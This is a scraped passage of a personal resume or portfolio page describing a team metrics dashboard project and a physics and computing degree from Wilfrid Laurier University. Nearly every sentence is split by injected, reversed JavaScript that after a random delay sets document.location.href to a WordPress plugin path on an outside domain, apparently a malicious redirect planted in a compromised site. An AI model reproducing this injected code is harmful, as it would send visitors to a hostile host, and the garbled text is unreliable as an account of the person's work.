  • Allows stakeholders toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and team members toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to easily view project metrics on a single screen
  • Designed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be displayed on a large tv screen in team room but can also be viewed in a browser by remote team members
  • Pulls data from various web services toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and combines them intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to one easily readable dashboard

EDUCATION
Honours Bachelor of Science | Wilfrid Laurier University
Class of 2002
Major: Physics, Computing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Computer Electronics
Minor: Mathematics